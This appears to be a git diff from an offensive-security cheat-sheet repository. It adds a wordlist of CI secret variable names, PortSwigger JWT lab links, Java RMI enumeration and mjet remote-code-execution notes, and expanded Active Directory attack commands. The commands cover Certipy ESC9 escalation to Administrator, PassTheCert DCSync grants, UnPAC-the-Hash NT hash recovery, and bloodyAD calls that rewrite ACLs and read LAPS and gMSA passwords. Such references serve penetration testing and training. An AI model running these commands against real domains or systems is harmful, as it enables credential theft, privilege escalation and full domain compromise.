+LINUX_SIGNING_KEY= +API_SECRET= +-Dsonar.organization= +-Dsonar.login= +cdscasc= +YO0= +YEi8xQ= +FIREFOX_CLIENT= +0YhXFyQ= +preferred_username= +iss= +PERCY_TOKEN= +PERCY_PROJECT= +FILE_PASSWORD= +-DSELION_BROWSER_RUN_HEADLESS= +SSHPASS= +GITHUB_REPO= +ARTIFACTORY_USERNAME= +ARTIFACTORY_KEY= +query= +encrypted_05e49db982f1_key= +encrypted_05e49db982f1_iv= +PLUGIN_USERNAME= +PLUGIN_PASSWORD= +NODE_ENV= +IRC_NOTIFICATION_CHANNEL= +DATABASE_USER= +DATABASE_PORT= +DATABASE_NAME= +DATABASE_HOST= +CLOUDFLARE_ZONE_ID= +CLOUDFLARE_AUTH_KEY= +CLOUDFLARE_AUTH_EMAIL= +AWSCN_SECRET_ACCESS_KEY= +AWSCN_ACCESS_KEY_ID= +1LRQzo6ZDqs9V9RCMaGIy2t4bN3PAgMWdEJDoU1zhuy2V2AgeQGFzG4eanpYZQqAp6poV02DjegvkXC7cA5QrIcGZKdrIXLQk4TBXx2ZVigDio5gYLyrY= +zendesk-travis-github= +token_core_java= +TCfbCZ9FRMJJ8JnKgOpbUW7QfvDDnuL4YOPHGcGb6mG413PZdflFdGgfcneEyLhYI8SdlU= +CENSYS_UID= +CENSYS_SECRET= +AVbcnrfDmp7k= +test= +encrypted_5d5868ca2cc9_key= +encrypted_5d5868ca2cc9_iv= +encrypted_573c42e37d8c_key= +encrypted_573c42e37d8c_iv= +encrypted_45b137b9b756_key= +encrypted_45b137b9b756_iv= +encrypted_12ffb1b96b75_key= +encrypted_12ffb1b96b75_iv= +c6cBVFdks= +VU8GYF3BglCxGAxrMW9OFpuHCkQ= +PYPI_PASSOWRD= +NPM_USERNAME= +NPM_PASSWORD= +mMmMSl1qNxqsumNhBlmca4g= +encrypted_8b6f3baac841_key= +encrypted_8b6f3baac841_iv= +encrypted_4d8e3db26b81_key= +encrypted_4d8e3db26b81_iv= +SGcUKGqyoqKnUg= +OMISE_PUBKEY= +OMISE_KEY= +KXOlTsN3VogDop92M= +GREN_GITHUB_TOKEN= +DRIVER_NAME= +CLOUDFLARE_EMAIL= +CLOUDFLARE_CREVIERA_ZONE_ID= +CLOUDFLARE_API_KEY= +rI= +pHCbGBA8L7a4Q4zZihD3HA= +nexusUsername= +nexusPassword= +mRFSU97HNZZVSvAlRxyYP4Xxx1qXKfRXBtqnwVJqLvK6JTpIlh4WH28ko= +encrypted_fee8b359a955_key= +encrypted_fee8b359a955_iv= +encrypted_6d56d8fe847c_key= +encrypted_6d56d8fe847c_iv= +aX5xTOsQFzwacdLtlNkKJ3K64= +TEST_TEST= +TESCO_API_KEY= +RELEASE_TOKEN= +NUGET_KEY= +NON_TOKEN= +GIT_COMMITTER_NAME= +GIT_AUTHOR_NAME= +CN_SECRET_ACCESS_KEY= +CN_ACCESS_KEY_ID= +0VIRUSTOTAL_APIKEY= +0PUSHOVER_USER= +0PUSHOVER_TOKEN= +0HB_CODESIGN_KEY_PASS= +0HB_CODESIGN_GPG_PASS= +0GITHUB_TOKEN= +nexusUrl= +jxoGfiQqqgvHtv4fLzI= +gpg.passphrase= +encrypted_b1fa8a2faacf_key= +encrypted_b1fa8a2faacf_iv= +encrypted_98ed7a1d9a8c_key= +encrypted_98ed7a1d9a8c_iv= +VIP_GITHUB_DEPLOY_KEY_PASS= +TEAM_EMAIL= +SACLOUD_API= +SACLOUD_ACCESS_TOKEN_SECRET= +SACLOUD_ACCESS_TOKEN= +PANTHEON_SITE= +LEANPLUM_KEY= +LEANPLUM_APP_ID= +FIREBASE_KEY= +CONVERSATION_URL= +BLhLRKwsTLnPm8= +B2_BUCKET= +B2_APP_KEY= +B2_ACCT_ID= +-Dgpg.passphrase= +YT_CLIENT_SECRET= +YT_CLIENT_ID= +WVNmZ40V1Lt0DYC2c6lzWwiJZFsQIXIRzJcubcwqKRoMelkbmKHdeIk= +TRV= +TEST_GITHUB_TOKEN= +RANDRMUSICAPIACCESSTOKEN= +NQc8MDWYiWa1UUKW1cqms= +MY_SECRET_ENV= +FDfLgJkS3bKAdAU24AS5X8lmHUJB94= +COVERALLS_SERVICE_NAME= +CONSUMERKEY= +CLU_REPO_URL= +--closure_entry_point= +gradle.publish.secret= +gradle.publish.key= +ggFqFEKCd54gCDasePLTztHeC4oL104iaQ= +encrypted_12c8071d2874_key= +encrypted_12c8071d2874_iv= +encrypted_0fba6045d9b0_key= +encrypted_0fba6045d9b0_iv= +dv3U5tLUZ0= +UAusaB5ogMoO8l2b773MzgQeSmrLbExr9BWLeqEfjC2hFgdgHLaQ= +PASS= +MONGOLAB_URI= +GITHUB_TOKENS= +FLASK_SECRET_KEY= +DB_PW= +CC_TEST_REPOTER_ID= +8FWcu69WE6wYKKyLyHB4LZHg= +zfp2yZ8aP9FHSy5ahNjqys4FtubOWLk= +rBezlxWRroeeKcM2DQqiEVLsTDSyNZV9kVAjwfLTvM= +hpmifLs= +fR457Xg1zJIz2VcTD5kgSGAPfPlrYx2xnR5yILYiaWiLqQ1rhFKQZ0rwOZ8Oiqk8nPXkSyXABr9B8PhCFJGGKJIqDI39Qe6XCXAN3GMH2zVuUDfgZCtdQ8KtM1Qg71IR4g= +encrypted_932b98f5328a_key= +encrypted_932b98f5328a_iv= +encrypted_31d215dc2481_key= +encrypted_31d215dc2481_iv= +encrypted_1db1f58ddbaf_key= +encrypted_1db1f58ddbaf_iv= +WATSON_CONVERSATION_WORKSPACE= +WATSON_CONVERSATION_USERNAME= +WATSON_CONVERSATION_PASSWORD= +SOUNDCLOUD_USERNAME= +SOUNDCLOUD_PASSWORD= +SOUNDCLOUD_CLIENT_SECRET= +SOUNDCLOUD_CLIENT_ID= +SDM4= +PARSE_JS_KEY= +PARSE_APP_ID= +NON_MULTI_WORKSPACE_SID= +NON_MULTI_WORKFLOW_SID= +NON_MULTI_DISCONNECT_SID= +NON_MULTI_CONNECT_SID= +NON_MULTI_BOB_SID= +NON_MULTI_ALICE_SID= +MULTI_WORKSPACE_SID= +MULTI_WORKFLOW_SID= +MULTI_DISCONNECT_SID= +MULTI_CONNECT_SID= +MULTI_BOB_SID= +MULTI_ALICE_SID= +GHB_TOKEN= +GCR_USERNAME= +GCR_PASSWORD= +BROWSERSTACK_USE_AUTOMATE= +AUTH_TOKEN= +0NC6O0ThWq69BcWmrtbD2ev0UDivbG8OQ1ZsSDm9UqVA= +&query= +xsixFHrha3gzEAwa1hkOw6kvzR4z9dx0XmpvORuo1h4Ag0LCxAR70ZueGyStqpaXoFmTWB1z0WWwooAd0kgDwMDSOcH60Pv4mew= +username= +ted_517c5824cb79_iv= +s3_secret_key= +s3_access_key= +n8awpV01A2rKtErnlJWVzeDK5WfLBaXUvOoc= +encrypted_f383df87f69c_key= +encrypted_f383df87f69c_iv= +encrypted_997071d05769_key= +encrypted_997071d05769_iv= +encrypted_671b00c64785_key= +encrypted_671b00c64785_iv= +encrypted_3761ed62f3dc_key= +encrypted_3761ed62f3dc_iv= +branch= +_8382f1c42598_iv= +_02ddd67d5586_key= +YANGSHUN_GH_PASSWORD= +Y8= +XJ7lElT4Jt9HnUw= +VIP_TEST= +USE_SSH= +SOMEVAR= +PROD_USERNAME= +PROD_PASSWORD= +ORG_GRADLE_PROJECT_cloudinary.url= +N= +LOGNAME= +I6SEeHdMJwAvqM6bNXQaMJwJLyZHdAYK9DQnY= +HAB_KEY= +HAB_AUTH_TOKEN= +GPG_EXECUTABLE= +GK_LOCK_DEFAULT_BRANCH= +GIT_USER= +F97qcq0kCCUAlLjAoyJg= +DB_USERNAME= +DB_PASSWORD= +DB_DATABASE= +DB_CONNECTION= +CONEKTA_APIKEY= +CLAIMR_DB= +BROWSERSTACK_BUILD= +AiYPFLTRxoiZJ9j0bdHjGOffCMvotZhtc9xv0VXVijGdHiIM= +ANALYTICS= +A= +?account= +6mSMEHIauvkenQGZlBzkLYycWctGml9tRnIpbqJwv0xdrkTslVwDQU5IEJNZiTlJ2tYl8og= +1ewh8kzxY= +0KNAME= +-e= +&password= \ No newline at end of file diff --git a/JSON Web Token/README.md b/JSON Web Token/README.md index e04d378..242a9a9 100644 --- a/JSON Web Token/README.md +++ b/JSON Web Token/README.md @@ -287,6 +287,15 @@ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret * CVE-2019-20933/CVE-2020-28637 - Blank password vulnerability * CVE-2020-28042 - Null signature vulnerability +## Labs + +* [JWT authentication bypass via unverified signature](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature) +* [JWT authentication bypass via flawed signature verification](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification) +* [JWT authentication bypass via weak signing key](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key) +* [JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection) +* [JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection) +* [JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal) + ## References - [Hacking JSON Web Token (JWT) - Hate_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6) diff --git a/Java RMI/README.md b/Java RMI/README.md index 97b33fa..c5e8fc9 100644 --- a/Java RMI/README.md +++ b/Java RMI/README.md @@ -1,25 +1,27 @@ # Java RMI -> The attacker can host a MLet file and instruct the JMX service to load MBeans from the remote host. +> Exposing a weak configured Java Remote Method Invocation (RMI) service can lead to several ways to achieve RCE. +> One such attack is to host an MLet file and instruct the JMX service to load MBeans from the remote host which can be carried out +> using the tools mjet or sjet. remote-method-guesser is a more recent tool which bundles enumeration of RMI services together +> with a summary of currently known attack techniques. ## Summary +* [Tools](#tools) +* [Detection](#detection) * [Exploitation](#exploitation) - * [Requirements](#requirements) - * [Detection](#detection) - * [Remote Command Execution](#remote-command-execution) + * [RCE using sjet/mjet](#rce-using-sjet-or-mjet) * [References](#references) -## Exploitation +## Tools -### Requirements -- Jython -- The JMX server can connect to a http service that is controlled by the attacker -- JMX authentication is not enabled +- [sjet](https://github.com/siberas/sjet) +- [mjet](https://github.com/mogwailabs/mjet) +- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) +## Detection -### Detection - +Using [nmap](https://nmap.org/): ```powershell $ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v 1089/tcp open java-rmi Java RMI @@ -33,7 +35,45 @@ $ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TA | javax.management.remote.rmi.RMIServerImpl_Stub ``` -### Remote Command Execution +Using [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser): +```bash +$ rmg scan 172.17.0.2 --ports 0-65535 +[+] Scanning 6225 Ports on 172.17.0.2 for RMI services. +[+] +[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC) +[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC) +[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC) +[+] [6234 / 6234] [#############################] 100% +[+] +[+] Portscan finished. +``` + +```bash +$ rmg enum 172.17.0.2 9010 +[+] RMI registry bound names: +[+] +[+] - plain-server2 +[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) +[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711] +[+] - legacy-service +[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) +[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309] +[+] - plain-server +[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) +[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813] +[...] +``` + +## Exploitation + +### RCE using sjet or mjet + +#### Requirements +- Jython +- The JMX server can connect to a http service that is controlled by the attacker +- JMX authentication is not enabled + +#### Remote Command Execution The attack involves the following steps: * Starting a web server that hosts the MLet and a JAR file with the malicious MBeans @@ -59,5 +99,6 @@ jython mjet.py TARGET_IP TARGET_PORT command super_secret shell ## References -* [ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH - 28 APR 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/) -* [JMX RMI – MULTIPLE APPLICATIONS RCE - Red Timmy Security - 26th March 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi-–-multiple-applications-remote-code-execution.pdf) +* [ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH, 28 April 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/) +* [JMX RMI – MULTIPLE APPLICATIONS RCE - Red Timmy Security, 26 March 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi-–-multiple-applications-remote-code-execution.pdf) +* [remote-method-guesser - BHUSA 2021 Arsenal - Tobias Neitzel, 15 August 2021](https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal) diff --git a/Methodology and Resources/Active Directory Attack.md b/Methodology and Resources/Active Directory Attack.md index 6af65bd..c62feae 100644 --- a/Methodology and Resources/Active Directory Attack.md +++ b/Methodology and Resources/Active Directory Attack.md @@ -62,7 +62,6 @@ - [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key) - [Using impacket](#using-impacket) - [Using Rubeus](#using-rubeus) - - [UnPAC The Hash](#unpac-the-hash) - [Capturing and cracking Net-NTLMv1/NTLMv1 hashes](#capturing-and-cracking-net-ntlmv1ntlmv1-hashes) - [Capturing and cracking Net-NTLMv2/NTLMv2 hashes](#capturing-and-cracking-net-ntlmv2ntlmv2-hashes) - [Man-in-the-Middle attacks & relaying](#man-in-the-middle-attacks--relaying) @@ -82,8 +81,10 @@ - [ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 ](#esc6---editf_attributesubjectaltname2) - [ESC7 - Vulnerable Certificate Authority Access Control](#esc7---vulnerable-certificate-authority-access-control) - [ESC8 - AD CS Relay Attack](#esc8---ad-cs-relay-attack) + - [ESC9 - No Security Extension](#esc9---no-security-extension) - [Certifried CVE-2022-26923](#certifried-cve-2022-26923) - [Pass-The-Certificate](#pass-the-certificate) + - [UnPAC The Hash](#unpac-the-hash) - [Shadow Credentials](#shadow-credentials) - [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage) - [Abusing DNS Admins Group](#abusing-dns-admins-group) @@ -112,6 +113,7 @@ - [Kerberos Bronze Bit Attack - CVE-2020-17049](#kerberos-bronze-bit-attack---cve-2020-17049) - [PrivExchange attack](#privexchange-attack) - [SCCM Deployment](#sccm-deployment) + - [SCCM Network Access Accounts](#sccm-network-access-accounts) - [WSUS Deployment](#wsus-deployment) - [RODC - Read Only Domain Controller Compromise](#rodc---read-only-domain-controller-compromise) - [PXE Boot image attack](#pxe-boot-image-attack) @@ -257,6 +259,8 @@ Use the correct collector * Collect more data for certificates exploitation using Certipy ```ps1 certipy find 'corp.local/john:Passw0rd@dc.corp.local' -bloodhound + certipy find 'corp.local/john:Passw0rd@dc.corp.local' -old-bloodhound + certipy find 'corp.local/john:Passw0rd@dc.corp.local' -vulnerable -hide-admins -username user@domain -password Password123 ``` Then import the zip/json files into the Neo4J database and query them. @@ -717,7 +721,7 @@ Requirements: #### samAccountName spoofing -> During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a TGS to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid TGS for the domain controller. +> During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller. **Requirements** @@ -1666,7 +1670,7 @@ Mitigations: ### Pass-the-Ticket Silver Tickets -Forging a TGS require machine account password (key) or NTLM hash of the service account. +Forging a Service Ticket (ST) require machine account password (key) or NT hash of the service account. ```powershell # Create a ticket for the service @@ -1703,7 +1707,7 @@ Mitigations: > "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names) -Any valid domain user can request a kerberos ticket (TGS) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as. +Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as. * [GetUserSPNs](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py) from Impacket Suite @@ -1915,21 +1919,6 @@ root@kali:~$ klist .\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe ``` -### UnPAC The Hash - -* Windows - ```ps1 - # request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC. - C:/> Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show - ``` -* Linux - ```ps1 - # obtain a TGT by validating a PKINIT pre-authentication - $ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" - - # use the session key to recover the NT hash - $ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME' - ``` ### Capturing and cracking Net-NTLMv1/NTLMv1 hashes @@ -2236,7 +2225,7 @@ secretsdump.py -k -no-pass target.lab.local * Find ADCS Server * `crackmapexec ldap domain.lab -u username -p password -M adcs` * `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=,OU=Users,DC=domain,DC=local' -w '' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName` -* Enumerate AD Enterprise CAs with certutil: `certutil.exe -config - -ping` +* Enumerate AD Enterprise CAs with certutil: `certutil.exe -config - -ping`, `certutil -dump` #### ESC1 - Misconfigured Certificate Templates @@ -2474,6 +2463,45 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101 certipy relay -ca 172.16.19.100 ``` + +#### ESC9 - No Security Extension + +Requirements: +* `StrongCertificateBindingEnforcement` set to `1` (default) or `0` +* Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value +* Certificate specifies `Any Client` authentication EKU +* `GenericWrite` over any account A to compromise any account B + +**Scenario** + +John@corp.local has **GenericWrite** over Jane@corp.local, and we want to compromise Administrator@corp.local. +Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the **CT_FLAG_NO_SECURITY_EXTENSION** flag in the **msPKI-Enrollment-Flag** value. + +* Obtain the hash of Jane with Shadow Credentials (using our GenericWrite) + ```ps1 + certipy shadow auto -username John@corp.local -p Passw0rd -account Jane + ``` +* Change the **userPrincipalName** of Jane to be Administrator. :warning: leave the `@corp.local` part + ```ps1 + certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator + ``` +* Request the vulnerable certificate template ESC9 from Jane's account. + ```ps1 + certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9 + # userPrincipalName in the certificate is Administrator + # the issued certificate contains no "object SID" + ``` +* Restore userPrincipalName of Jane to Jane@corp.local. + ```ps1 + certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local + ``` +* Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user. + ```ps1 + certipy auth -pfx administrator.pfx -domain corp.local + # Add -domain to your command line since there is no domain specified in the certificate. + ``` + + #### Certifried CVE-2022-26923 > An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege. @@ -2516,6 +2544,8 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101 #### Pass-The-Certificate +> Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential" + * Windows ```ps1 # Information about a cert file @@ -2523,6 +2553,11 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101 # From a Base64 PFX Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show + + # Grant DCSync rights to an user + ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid + # To restore + ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt ``` * Linux ```ps1 @@ -2534,8 +2569,30 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101 # PFX certificate (file) + password (string, optionnal) gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" + + # Using Certipy + certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain' + certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx" ``` +### UnPAC The Hash + +Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate. + +* Windows + ```ps1 + # Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC. + Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show + ``` +* Linux + ```ps1 + # Obtain a TGT by validating a PKINIT pre-authentication + $ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" + + # Use the session key to recover the NT hash + $ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME' + ``` + ### Shadow Credentials @@ -2593,10 +2650,10 @@ Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101 # Get a TGT using the newly acquired certificate via PKINIT proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR - # Get a TGS for the target account + # Get a ST (service ticket) for the target account proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab administrator@ez.lab administrator_tgs.ccache -v - # Utilize the TGS for future activity + # Utilize the ST for future activity export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab ``` @@ -2694,7 +2751,7 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr * using bloodyAD: `bloodyAD.py --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'` -* **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a TGS, then grab its hash and kerberoast it. +* **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it. ```powershell # Check for interesting permissions on accounts: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} @@ -2799,10 +2856,10 @@ To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privi * On Linux: ```bash # Give DCSync right to the principal identity - bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B addDomainSync user2 + bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2 # Remove right after DCSync - bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B delDomainSync user2 + bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2 False ``` * WriteDACL on Group @@ -2810,6 +2867,13 @@ To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privi Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1 net group "INTERESTING_GROUP" User1 /add /domain ``` + Or + ```powershell + bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp + + # Remove right + bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp False + ``` #### WriteOwner @@ -2818,6 +2882,10 @@ An attacker can update the owner of the target object. Once the object owner has ```powershell Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal' ``` +Or +```powershell +bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setOwner devil_user1 target_object +``` This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group. @@ -2829,6 +2897,10 @@ An attacker can read the LAPS password of the computer account this ACE applies ```powershell Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime' ``` +Or for a given computer +```powershell +bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes LAPS_PC$ ms-mcs-admpwd,ms-mcs-admpwdexpirationtime +``` #### ReadGMSAPassword @@ -2843,6 +2915,10 @@ $mp = $gmsa.'msDS-ManagedPassword' # Decode the data structure using the DSInternals module ConvertFrom-ADManagedPasswordBlob $mp ``` +Or +```powershell +python bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes gmsaAccount$ msDS-ManagedPassword +``` #### ForceChangePassword @@ -3060,14 +3136,14 @@ mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... / mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi ``` -#### Use the Trust Ticket file to get a TGS for the targeted service +#### Use the Trust Ticket file to get a ST for the targeted service ```powershell .\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local .\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt ``` -Inject the TGS file and access the targeted service with the spoofed rights. +Inject the ST file and access the targeted service with the spoofed rights. ```powershell kirbikator lsa .\ticket.kirbi @@ -3104,7 +3180,7 @@ If we compromise the bastion we get `Domain Admins` privileges on the other doma ### Kerberos Unconstrained Delegation -> The user sends a TGS to access the service, along with their TGT, and then the service can use the user's TGT to request a TGS for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html +> The user sends a ST to access the service, along with their TGT, and then the service can use the user's TGT to request a ST for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html > When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory. @@ -3261,7 +3337,7 @@ PS> ls \\dc01.offense.local\c$ Resource-based Constrained Delegation was introduced in Windows Server 2012. -> The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html +> The user sends a Service Ticket (ST) to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a ST for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html 1. Import **Powermad** and **Powerview** @@ -3465,7 +3541,7 @@ python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th MalSCCM.exe 